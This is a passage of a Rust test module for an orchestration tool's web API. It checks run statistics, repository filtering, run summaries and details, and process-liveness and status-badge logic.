19517            std::fs::create_dir_all(&dir).expect("run dir");
19518            std::fs::write(
19519                dir.join("run.json"),
19520                serde_json::to_string_pretty(state).expect("serialize run"),
19521            )
19522            .expect("write run.json");
19523        }
19524
19525        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19526        assert_eq!(bumps["merged"], 2);
19527        assert_eq!(bumps["recorded"], 2);
19528        assert_eq!(bumps["pr_opened"], 2);
19529        assert_eq!(bumps["automerge_enabled"], 1);
19530        assert_eq!(bumps["needs_attention"], 1);
19531        assert_eq!(bumps["clean"], 1);
19532        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19533        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19534    }
19535
19536    #[tokio::test]
19537    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19538        let f = Fixture::start().await;
19539        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19540
19541        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19542        assert_eq!(bumps["merged"], 1);
19543        assert_eq!(bumps["recorded"], 0);
19544        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19545        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19546        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19547        // `pr_opened` and `recorded` are both zero here, so these rates have
19548        // no denominator to compute from and must be null.
19549        assert_eq!(bumps["automerge_rate"], Value::Null);
19550        assert_eq!(bumps["attention_rate"], Value::Null);
19551    }
19552
19553    #[tokio::test]
19554    async fn stats_queue_counts_come_from_the_live_queue() {
19555        let f = Fixture::start().await;
19556        let q = f.queue();
19557        let mut queued = Task::new(
19558            "queued task".to_owned(),
19559            "do it".to_owned(),
19560            PathBuf::from("/repo"),
19561            Source::Human,
19562        );
19563        q.put(&mut queued).expect("put queued");
19564        let mut held = Task::new(
19565            "held task".to_owned(),
19566            "do it later".to_owned(),
19567            PathBuf::from("/repo"),
19568            Source::Human,
19569        );
19570        held.hold_machine(Some("out of attempts".to_owned()));
19571        q.put(&mut held).expect("put held");
19572
19573        let queue = f.get("/api/stats").await.json()["queue"].clone();
19574        assert_eq!(queue["queued"], 1);
19575        assert_eq!(queue["held"], 1);
19576        assert_eq!(queue["running"], 0);
19577        assert_eq!(queue["done"], 0);
19578        assert_eq!(queue["failed"], 0);
19579        assert_eq!(queue["blocked"], 0);
19580    }
19581
19582    #[tokio::test]
19583    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19584        let f = Fixture::start().await;
19585        let stats = f.get("/api/stats").await;
19586        assert_eq!(stats.status, 200);
19587        assert_eq!(stats.json()["totals"]["runs"], 0);
19588        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19589        assert_eq!(stats.json()["runs_unreadable"], 0);
19590        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19591        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19592        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19593        assert_eq!(stats.json()["repo"], Value::Null);
19594    }
19595
19596    #[tokio::test]
19597    async fn stats_lists_every_repository_with_runs_recorded() {
19598        let f = Fixture::start().await;
19599        write_run_repo(
19600            &f.runs(),
19601            "20260902-140501-a",
19602            RunStatus::Merged,
19603            "/repos/a",
19604        );
19605        write_run_repo(
19606            &f.runs(),
19607            "20260902-140502-b",
19608            RunStatus::Merged,
19609            "/repos/a",
19610        );
19611        write_run_repo(
19612            &f.runs(),
19613            "20260902-140503-c",
19614            RunStatus::Blocked,
19615            "/repos/b",
19616        );
19617
19618        let stats = f.get("/api/stats").await;
19619        assert_eq!(stats.status, 200);
19620        // Unfiltered - the aggregate across both repositories.
19621        assert_eq!(stats.json()["totals"]["runs"], 3);
19622        assert_eq!(stats.json()["repo"], Value::Null);
19623
19624        let repos = stats.json()["repos"].clone();
19625        let repos = repos.as_array().unwrap();
19626        assert_eq!(repos.len(), 2);
19627        // Busiest (2 runs) first.
19628        assert_eq!(repos[0]["repo"], "/repos/a");
19629        assert_eq!(repos[0]["name"], "a");
19630        assert_eq!(repos[0]["runs"], 2);
19631        assert_eq!(repos[1]["repo"], "/repos/b");
19632        assert_eq!(repos[1]["runs"], 1);
19633    }
19634
19635    #[tokio::test]
19636    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19637        let f = Fixture::start().await;
19638        write_run_repo(
19639            &f.runs(),
19640            "20260902-140501-a",
19641            RunStatus::Merged,
19642            "/repos/a",
19643        );
19644        write_run_repo(
19645            &f.runs(),
19646            "20260902-140502-b",
19647            RunStatus::Blocked,
19648            "/repos/b",
19649        );
19650
19651        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19652        assert_eq!(stats.status, 200);
19653        assert_eq!(stats.json()["totals"]["runs"], 1);
19654        assert_eq!(stats.json()["totals"]["merged"], 1);
19655        assert_eq!(stats.json()["repo"], "/repos/a");
19656        // The repository list itself is unaffected by the filter - it is
19657        // what a client switches repositories from.
19658        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19659        // runs_unreadable is a whole-workload count, never scoped to the
19660        // selected repository - see StatsView::runs_unreadable's own doc.
19661        assert_eq!(stats.json()["runs_unreadable"], 0);
19662    }
19663
19664    #[tokio::test]
19665    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19666        let f = Fixture::start().await;
19667        write_run_repo(
19668            &f.runs(),
19669            "20260902-140501-a",
19670            RunStatus::Merged,
19671            "/repos/a",
19672        );
19673        write_run_repo(
19674            &f.runs(),
19675            "20260902-140502-b",
19676            RunStatus::Merged,
19677            "/repos/b",
19678        );
19679
19680        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19681            let json = f.get(uri).await.json();
19682            let daily = json["daily"].as_array().expect("daily is an array");
19683            assert_eq!(daily.len(), 30);
19684            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19685            let mut sorted = dates.clone();
19686            sorted.sort();
19687            assert_eq!(dates, sorted);
19688            for d in daily {
19689                assert_eq!(
19690                    d["merged"].as_u64().unwrap()
19691                        + d["ready"].as_u64().unwrap()
19692                        + d["other"].as_u64().unwrap(),
19693                    d["runs"].as_u64().unwrap()
19694                );
19695            }
19696            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19697        }
19698    }
19699
19700    #[tokio::test]
19701    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19702        let f = Fixture::start().await;
19703        write_run_repo(
19704            &f.runs(),
19705            "20260902-140501-a",
19706            RunStatus::Merged,
19707            "/repos/a",
19708        );
19709
19710        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19711        assert_eq!(stats.status, 404);
19712    }
19713
19714    #[tokio::test]
19715    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19716        let f = Fixture::start().await;
19717        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19718
19719        let summary = f.get("/api/runs").await.json();
19720        let row = &summary[0];
19721        assert_eq!(row["short"], "a1b2");
19722        assert_eq!(row["status"], "ready");
19723        assert_eq!(row["done"], true);
19724        assert_eq!(row["title"], "Add a web UI");
19725        assert_eq!(row["repo_name"], "magi");
19726        assert_eq!(row["judges"], 3);
19727        assert_eq!(row["winner"], Value::Null);
19728        assert_eq!(row["reviews"], 0);
19729
19730        // The short id resolves, and the detail route is the state itself, not
19731        // a projection of it: the UI reads fields the summary does not carry.
19732        let detail = f.get("/api/runs/a1b2").await;
19733        assert_eq!(detail.status, 200);
19734        assert_eq!(detail.json()["base_branch"], "main");
19735        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19736    }
19737
19738    /// `status: "ready"` alone cannot tell a run still headed for a landing
19739    /// (a PR closed without merging, say) apart from one `[merge] mode =
19740    /// "none"` left unmerged for good — the confusion the operator flagged
19741    /// after the CLI report already grew a `not landed — nothing to do by
19742    /// design` line for exactly this case (`report.rs`). Both the list route
19743    /// and the detail route must carry a flag the phone can key on instead of
19744    /// re-deriving it from `status` + `merge.mode` itself.
19745    #[tokio::test]
19746    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19747        let f = Fixture::start().await;
19748
19749        let mut none_run = RunState::new(
19750            PathBuf::from("/repo/magi"),
19751            "main".to_owned(),
19752            "0123456789abcdef".to_owned(),
19753            "Add a web UI".to_owned(),
19754            Config::default(),
19755        );
19756        none_run.id = "20260902-140503-none".to_owned();
19757        none_run.status = RunStatus::Ready;
19758        none_run.merge = Some(crate::run::MergeOutcome {
19759            mode: crate::config::MergeMode::None,
19760            ok: true,
19761            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19762            empty: false,
19763        });
19764        write_state(&f.runs(), &none_run);
19765
19766        let mut pr_run = RunState::new(
19767            PathBuf::from("/repo/magi"),
19768            "main".to_owned(),
19769            "0123456789abcdef".to_owned(),
19770            "Add a web UI".to_owned(),
19771            Config::default(),
19772        );
19773        pr_run.id = "20260902-140504-prcl".to_owned();
19774        pr_run.status = RunStatus::Ready;
19775        pr_run.merge = Some(crate::run::MergeOutcome {
19776            mode: crate::config::MergeMode::Pr,
19777            ok: false,
19778            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19779            empty: false,
19780        });
19781        write_state(&f.runs(), &pr_run);
19782
19783        let summary = f.get("/api/runs").await.json();
19784        let rows: std::collections::HashMap<&str, &Value> = summary
19785            .as_array()
19786            .expect("an array")
19787            .iter()
19788            .map(|r| (r["id"].as_str().expect("an id"), r))
19789            .collect();
19790        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19791        assert_eq!(
19792            rows[none_run.id.as_str()]["unmerged_by_design"],
19793            true,
19794            "a mode-none Ready must be flagged in the list"
19795        );
19796        assert_eq!(
19797            rows[pr_run.id.as_str()]["unmerged_by_design"],
19798            false,
19799            "a Ready reached by a closed pull request is a different case"
19800        );
19801
19802        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19803        assert_eq!(none_detail["status"], "ready");
19804        assert_eq!(none_detail["unmerged_by_design"], true);
19805
19806        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19807        assert_eq!(pr_detail["unmerged_by_design"], false);
19808    }
19809
19810    /// `RunState::active` is only ever cleared by whoever populated it, so the
19811    /// detail route also has to say whether a daemon is actually still
19812    /// driving this run right now — otherwise a seat from a killed process's
19813    /// last wave would read as live forever.
19814    #[tokio::test]
19815    async fn run_core_survives_unavailable_related_stores() {
19816        let home = TempDir::new().unwrap();
19817        let ui = delta_test_ui(home.path());
19818        let state = RunState::new(
19819            PathBuf::from("/repo/magi"),
19820            "main".into(),
19821            "0123456789abcdef".into(),
19822            "Useful core instructions".into(),
19823            Config::default(),
19824        );
19825        let dir = ui.runs.join(&state.id);
19826        std::fs::create_dir_all(&dir).unwrap();
19827        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19828        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19829        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19830        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19831            .await
19832            .unwrap()
19833            .0;
19834        assert_eq!(core.state.instruction, state.instruction);
19835        assert_eq!(core.state.updated_at, state.updated_at);
19836        assert!(core.task.is_none());
19837        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19838    }
19839
19840    #[tokio::test]
19841    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19842        let f = Fixture::start().await;
19843        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19844        // half of this test can claim the daemon is working on it without a
19845        // second helper.
19846        let id = "20260902-140502-bbbb";
19847        let mut state = RunState::new(
19848            PathBuf::from("/repo/magi"),
19849            "main".to_owned(),
19850            "0123456789abcdef".to_owned(),
19851            "Add a web UI".to_owned(),
19852            Config::default(),
19853        );
19854        state.id = id.to_owned();
19855        state.status = RunStatus::Judging;
19856        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19857        let dir = f.runs().join(id);
19858        std::fs::create_dir_all(&dir).expect("run dir");
19859        std::fs::write(
19860            dir.join("run.json"),
19861            serde_json::to_string_pretty(&state).expect("serialize run"),
19862        )
19863        .expect("write run.json");
19864
19865        // No daemon.json at all, and no `driver_pid` recorded either (this
19866        // state was written directly, never through `execute()`): there is
19867        // nothing to confirm either way, so the route must say `"unknown"` —
19868        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19869        // run` used to get from this route before `driver_pid` existed.
19870        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19871        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19872        assert_eq!(cold["live"], "unknown", "{cold}");
19873
19874        // A fresh heartbeat naming exactly this run: the same entry now reads
19875        // as confirmed, not merely recorded.
19876        write_daemon(f.home.path(), Timestamp::now());
19877        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19878        assert_eq!(warm["live"], "live", "{warm}");
19879    }
19880
19881    #[test]
19882    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19883        let home = tempfile::tempdir().expect("temp home");
19884        let runs = home.path().join("runs");
19885        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19886            let mut state = RunState::new(
19887                PathBuf::from("/repo/magi"),
19888                "main".to_owned(),
19889                "0123456789abcdef".to_owned(),
19890                "Generated review context, not authored task criteria".to_owned(),
19891                Config::default(),
19892            );
19893            state.origin = origin;
19894            state.status = RunStatus::Blocked;
19895            // Earlier migrations must not infer these facts again.
19896            state.driver_exited = false;
19897            state.gate_ran = true;
19898            let expected = serde_json::to_value(&state).expect("serialize current state");
19899            let mut legacy = expected.clone();
19900            legacy["schema"] = serde_json::json!(13);
19901            legacy.as_object_mut().unwrap().remove("task_instruction");
19902            let dir = runs.join(&state.id);
19903            std::fs::create_dir_all(&dir).expect("run dir");
19904            let path = dir.join("run.json");
19905            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19906            std::fs::write(&path, &body).expect("write legacy run");
19907
19908            for loaded in [
19909                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19910                read_run(&runs, &state.id).expect("web migration"),
19911            ] {
19912                assert_eq!(loaded.schema, crate::run::SCHEMA);
19913                assert!(loaded.task_instruction.is_none());
19914                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19915            }
19916            assert_eq!(runs_unreadable(&runs), 0);
19917            assert_eq!(std::fs::read(&path).unwrap(), body);
19918        }
19919    }
19920
19921    /// Where a run came from is shown, and a run written before origins were
19922    /// recorded (schema 12, no `origin` key) stays readable and says so.
19923    #[tokio::test]
19924    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19925        let f = Fixture::start().await;
19926        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19927            let mut state = RunState::new(
19928                PathBuf::from("/repo/magi"),
19929                "main".to_owned(),
19930                "0123456789abcdef".to_owned(),
19931                "Add a web UI".to_owned(),
19932                Config::default(),
19933            );
19934            state.id = id.to_owned();
19935            state.origin = origin;
19936            let mut value = serde_json::to_value(&state).expect("serialize run");
19937            if let Some(schema) = schema {
19938                value["schema"] = serde_json::json!(schema);
19939                value.as_object_mut().unwrap().remove("origin");
19940            }
19941            let dir = f.runs().join(id);
19942            std::fs::create_dir_all(&dir).expect("run dir");
19943            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19944        };
19945        write(
19946            "20260930-092817-ec34",
19947            Some(crate::run::Origin::from_agent_env(
19948                Some(("4a7b".to_owned(), "chat".to_owned())),
19949                None,
19950            )),
19951            None,
19952        );
19953        write("20260930-092817-0ld1", None, Some(12));
19954
19955        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19956        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19957        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19958
19959        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19960        assert_eq!(
19961            old["origin_label"], "origin unknown (started before origins were recorded)",
19962            "{old}"
19963        );
19964        assert!(old["origin"].is_null(), "{old}");
19965
19966        let list = f.get("/api/runs").await.json();
19967        let labels: Vec<_> = list
19968            .as_array()
19969            .unwrap()
19970            .iter()
19971            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19972            .collect();
19973        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19974    }
19975
19976    #[tokio::test]
19977    async fn run_progress_observation_exposes_activity_without_control_evidence() {
19978        let f = Fixture::start().await;
19979        let mut state = RunState::new(
19980            PathBuf::from("/repo"),
19981            "main".into(),
19982            "abc".into(),
19983            "task".into(),
19984            Config::default(),
19985        );
19986        state.status = RunStatus::Implementing;
19987        state.seat_started(
19988            "implement",
19989            "implement-A",
19990            std::time::Duration::from_secs(60),
19991            0,
19992        );
19993        state.save_under(f.home.path()).unwrap();
19994        let observed = f
19995            .get(&format!("/api/runs/{}/progress", state.id))
19996            .await
19997            .json();
19998        assert_eq!(observed["id"], state.id);
19999        assert!(observed["observed_at"].is_string());
20000        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20001        assert!(observed["progress"]["activity"].is_string());
20002        for field in [
20003            "config",
20004            "candidates",
20005            "land_approval",
20006            "task",
20007            "waiting",
20008            "done",
20009        ] {
20010            assert!(
20011                observed.get(field).is_none(),
20012                "progress must not expose control evidence: {field}"
20013            );
20014        }
20015    }
20016
20017    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20018    /// review` claims no daemon at all, so before this field existed the
20019    /// route above read it as `"dead"` — indistinguishable from a run a
20020    /// killed process abandoned — the whole time it was genuinely still
20021    /// answering. With a live pid recorded, it must read `"live"` even
20022    /// though no daemon claims it.
20023    #[tokio::test]
20024    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20025        let f = Fixture::start().await;
20026        let id = "20260922-090000-cccc";
20027        let mut state = RunState::new(
20028            PathBuf::from("/repo/magi"),
20029            "main".to_owned(),
20030            "0123456789abcdef".to_owned(),
20031            "Review only".to_owned(),
20032            Config::default(),
20033        );
20034        state.id = id.to_owned();
20035        state.status = RunStatus::Reviewing;
20036        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20037        // This test process's own pid: guaranteed alive, and never needs a
20038        // real daemon or a second process to prove it. The matching start-time
20039        // marker is what `liveness` now requires alongside a live pid — see
20040        // `RunState::driver_started_at`'s own doc for why the pid alone is
20041        // not enough.
20042        state.driver_pid = Some(std::process::id());
20043        state.driver_started_at = Some(
20044            crate::proc::process_started_at(std::process::id())
20045                .expect("this test process's own start time must be queryable"),
20046        );
20047        let dir = f.runs().join(id);
20048        std::fs::create_dir_all(&dir).expect("run dir");
20049        std::fs::write(
20050            dir.join("run.json"),
20051            serde_json::to_string_pretty(&state).expect("serialize run"),
20052        )
20053        .expect("write run.json");
20054
20055        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20056        assert_eq!(detail["live"], "live", "{detail}");
20057    }
20058
20059    /// A killed manual run's pid can be handed to a wholly unrelated later
20060    /// process — a live query on `driver_pid` alone would read this as
20061    /// `"live"`, exactly the false positive `driver_started_at` exists to
20062    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20063    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20064    #[tokio::test]
20065    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20066        let f = Fixture::start().await;
20067        let id = "20260922-090100-dddd";
20068        let mut state = RunState::new(
20069            PathBuf::from("/repo/magi"),
20070            "main".to_owned(),
20071            "0123456789abcdef".to_owned(),
20072            "Review only".to_owned(),
20073            Config::default(),
20074        );
20075        state.id = id.to_owned();
20076        state.status = RunStatus::Reviewing;
20077        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20078        // This test process's own pid really is alive, but the marker
20079        // recorded here does not match what it actually started at —
20080        // standing in for the pid having since been reused by a different
20081        // process than the one that wrote `run.json`.
20082        state.driver_pid = Some(std::process::id());
20083        state.driver_started_at = Some("1".to_owned());
20084        let dir = f.runs().join(id);
20085        std::fs::create_dir_all(&dir).expect("run dir");
20086        std::fs::write(
20087            dir.join("run.json"),
20088            serde_json::to_string_pretty(&state).expect("serialize run"),
20089        )
20090        .expect("write run.json");
20091
20092        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20093        assert_eq!(detail["live"], "dead", "{detail}");
20094    }
20095
20096    /// The deck's competition list is normally the first place an operator
20097    /// sees an old run. It must carry the same process verdict as detail, or
20098    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20099    #[test]
20100    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20101        let mk = |id: &str, pid: Option<u32>| {
20102            let mut s = RunState::new(
20103                PathBuf::from("/repo/magi"),
20104                "main".to_owned(),
20105                "0123456789abcdef".to_owned(),
20106                "Add a web UI".to_owned(),
20107                Config::default(),
20108            );
20109            s.id = id.to_owned();
20110            s.driver_pid = pid;
20111            s.driver_started_at = Some("1790000000".to_owned());
20112            s
20113        };
20114        let states = vec![
20115            mk("20260902-140502-aaaa", Some(77)),
20116            mk("20260902-140502-bbbb", Some(77)),
20117            mk("20260902-140502-cccc", Some(77)),
20118            mk("20260902-140502-dddd", None),
20119        ];
20120        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20121        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20122        let sup: HashMap<String, String> = [(
20123            "20260902-140502-aaaa".to_owned(),
20124            "20260902-140502-cccc".to_owned(),
20125        )]
20126        .into();
20127
20128        let status_calls = std::cell::Cell::new(0);
20129        let identity_calls = std::cell::Cell::new(0);
20130        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20131            |_| {
20132                status_calls.set(status_calls.get() + 1);
20133                Some(true)
20134            },
20135            |_| {
20136                identity_calls.set(identity_calls.get() + 1);
20137                Some("1790000000".to_owned())
20138            },
20139        ));
20140        let rows = summarize(
20141            states,
20142            &open,
20143            &claimed,
20144            &sup,
20145            |p| probe.borrow_mut().status(p),
20146            |p| probe.borrow_mut().started_at(p),
20147        );
20148
20149        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20150        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20151        assert_eq!(rows.len(), 4);
20152        assert!(!rows[0].waiting && rows[1].waiting);
20153        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20154        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20155        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20156        assert_eq!(rows[1].superseded_by, None);
20157    }
20158
20159    #[test]
20160    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20161        let mut state = RunState::new(
20162            PathBuf::from("/repo/magi"),
20163            "main".to_owned(),
20164            "0123456789abcdef".to_owned(),
20165            "Review only".to_owned(),
20166            Config::default(),
20167        );
20168        state.id = "20260922-090200-dead".to_owned();
20169        state.status = RunStatus::Reviewing;
20170        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20171            .expect("serialize list row");
20172        assert_eq!(row["status"], "reviewing");
20173        assert_eq!(row["display_status"], "stale");
20174        assert_eq!(row["live"], "dead", "{row}");
20175        assert!(!row["done"].as_bool().unwrap());
20176    }
20177
20178    #[test]
20179    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20180        use crate::run::Liveness::{Dead, Live, Unknown};
20181        let mut state = RunState::new(
20182            PathBuf::from("/repo/magi"),
20183            "main".to_owned(),
20184            "abc".to_owned(),
20185            "Review only".to_owned(),
20186            Config::default(),
20187        );
20188        for (status, parked, node, waiting, live, expected) in [
20189            (
20190                RunStatus::Judging,
20191                true,
20192                "github-text",
20193                false,
20194                Dead,
20195                "parked",
20196            ),
20197            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20198            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20199            (
20200                RunStatus::Judging,
20201                true,
20202                "github-text",
20203                true,
20204                Dead,
20205                "waiting",
20206            ),
20207            (
20208                RunStatus::Judging,
20209                false,
20210                "github-text",
20211                true,
20212                Dead,
20213                "waiting",
20214            ),
20215            (
20216                RunStatus::Judging,
20217                false,
20218                "github-text",
20219                false,
20220                Dead,
20221                "stale",
20222            ),
20223            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20224            (RunStatus::Judging, true, "park", false, Live, "judging"),
20225            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20226            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20227            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20228            (
20229                RunStatus::Blocked,
20230                true,
20231                "github-text",
20232                true,
20233                Dead,
20234                "waiting",
20235            ),
20236        ] {
20237            state.status = status;
20238            state.parked = parked;
20239            state.events.clear();
20240            state.event(
20241                "park",
20242                "an earlier park does not determine the latest state",
20243            );
20244            state.event(node, "message is not used for classification");
20245            let summary = RunSummary::of(&state, waiting, live);
20246            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20247            assert_eq!(
20248                summary.display_status, expected,
20249                "{status:?}/{node}/{live:?}"
20250            );
20251            assert_eq!(detail.display_status, summary.display_status);
20252            assert_eq!(detail.waiting, summary.waiting);
20253        }
20254        state.status = RunStatus::Judging;
20255        state.parked = false;
20256        state.events.clear();
20257        assert_eq!(run_display_status(&state, false, Dead), "stale");
20258    }
20259
20260    #[test]
20261    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20262        use crate::run::Liveness::{Dead, Live, Unknown};
20263        let mut state = RunState::new(
20264            PathBuf::from("/repo/magi"),
20265            "main".to_owned(),
20266            "abc".to_owned(),
20267            "Badge".to_owned(),
20268            Config::default(),
20269        );
20270        for (status, waiting, live, superseded, expected) in [
20271            (RunStatus::Gating, false, Dead, false, "stale"),
20272            (RunStatus::Gating, false, Dead, true, "superseded"),
20273            (RunStatus::Gating, false, Unknown, true, "superseded"),
20274            (RunStatus::Gating, true, Dead, true, "superseded"),
20275            (RunStatus::Gating, true, Dead, false, "waiting"),
20276            (RunStatus::Gating, false, Unknown, false, "gating"),
20277            (RunStatus::Gating, false, Live, true, "gating"),
20278            (RunStatus::Gating, true, Live, true, "waiting"),
20279            (RunStatus::Merged, false, Dead, true, "merged"),
20280            (RunStatus::Blocked, false, Dead, true, "blocked"),
20281        ] {
20282            state.status = status;
20283            let display = run_display_status(&state, waiting, live);
20284            assert_eq!(
20285                run_badge_status(&state, &display, live, superseded),
20286                expected,
20287                "{status:?}/{live:?}/superseded={superseded}"
20288            );
20289        }
20290    }
20291
20292    #[test]
20293    fn summarize_and_detail_expose_badge_status() {
20294        use crate::run::Liveness::Dead;
20295        let mut state = RunState::new(
20296            PathBuf::from("/repo/magi"),
20297            "main".to_owned(),
20298            "abc".to_owned(),
20299            "Badge".to_owned(),
20300            Config::default(),
20301        );
20302        state.status = RunStatus::Gating;
20303        let none = HashSet::new();
20304        let id = state.id.clone();
20305        let mut by = HashMap::new();
20306        let rows = summarize(
20307            [state.clone()],
20308            &none,
20309            &none,
20310            &by,
20311            |_| Some(false),
20312            |_| None,
20313        );
20314        // No driver recorded: liveness is not provably dead, so the node stays.
20315        assert_eq!(rows[0].badge_status, rows[0].display_status);
20316        by.insert(id, "20260901-000000-913b".to_owned());
20317        let detail = RunDetailView::of(
20318            state.clone(),
20319            false,
20320            Dead,
20321            Some("913b".to_owned()),
20322            None,
20323            None,
20324        );
20325        assert_eq!(detail.badge_status, "superseded");
20326        let json = serde_json::to_value(&detail).unwrap();
20327        assert_eq!(json["badge_status"], "superseded");
20328        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20329        assert_eq!(detail.badge_status, "stale");
20330    }
20331
20332    #[tokio::test]
20333    async fn run_display_status_routes_share_the_open_question_store() {
20334        let f = Fixture::start().await;
20335        let id = "20260922-090200-abcd";
20336        write_run(&f.runs(), id, RunStatus::Judging);
20337        let mut state = read_run(&f.runs(), id).unwrap();
20338        state.parked = true;
20339        state.driver_exited = true;
20340        state.event("github-text", "waiting for the owner");
20341        state.save_under(f.home.path()).unwrap();
20342        let mut task = Task::new(
20343            "resumed task".to_owned(),
20344            "do it".to_owned(),
20345            PathBuf::from("/repo"),
20346            Source::Human,
20347        );
20348        task.runs = vec![id.to_owned(), id.to_owned()];
20349        f.queue().put(&mut task).unwrap();
20350        let store = f.questions();
20351        let mut q = Question::new(
20352            id.to_owned(),
20353            "github-text".to_owned(),
20354            "owner".to_owned(),
20355            "Approve the text?".to_owned(),
20356            String::new(),
20357            Vec::new(),
20358        );
20359        store.put(&mut q).unwrap();
20360        for expected in ["waiting", "parked"] {
20361            let list = f.get("/api/runs").await.json();
20362            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20363            assert_eq!(list[0]["display_status"], expected);
20364            assert_eq!(detail["display_status"], expected);
20365            assert_eq!(detail["waiting"], list[0]["waiting"]);
20366            assert_eq!(list[0]["badge_status"], expected);
20367            assert_eq!(detail["badge_status"], expected);
20368            assert!(list[0]["superseded_by"].is_null());
20369            assert!(detail["superseded_by"].is_null());
20370            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20371            let history = task_detail["history"].as_array().unwrap();
20372            assert_eq!(history.len(), 2);
20373            assert!(history[0]["badge"].is_null());
20374            assert_eq!(history[1]["badge"], expected);
20375            q.status = ask::QuestionStatus::Answered;
20376            store.put(&mut q).unwrap();
20377        }
20378    }
20379
20380    #[tokio::test]
20381    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20382        let f = Fixture::start().await;
20383        let id = "20260922-090200-abcd";
20384        write_run(&f.runs(), id, RunStatus::Judging);
20385        let mut state = read_run(&f.runs(), id).unwrap();
20386        state.parked = true;
20387        state.driver_exited = true;
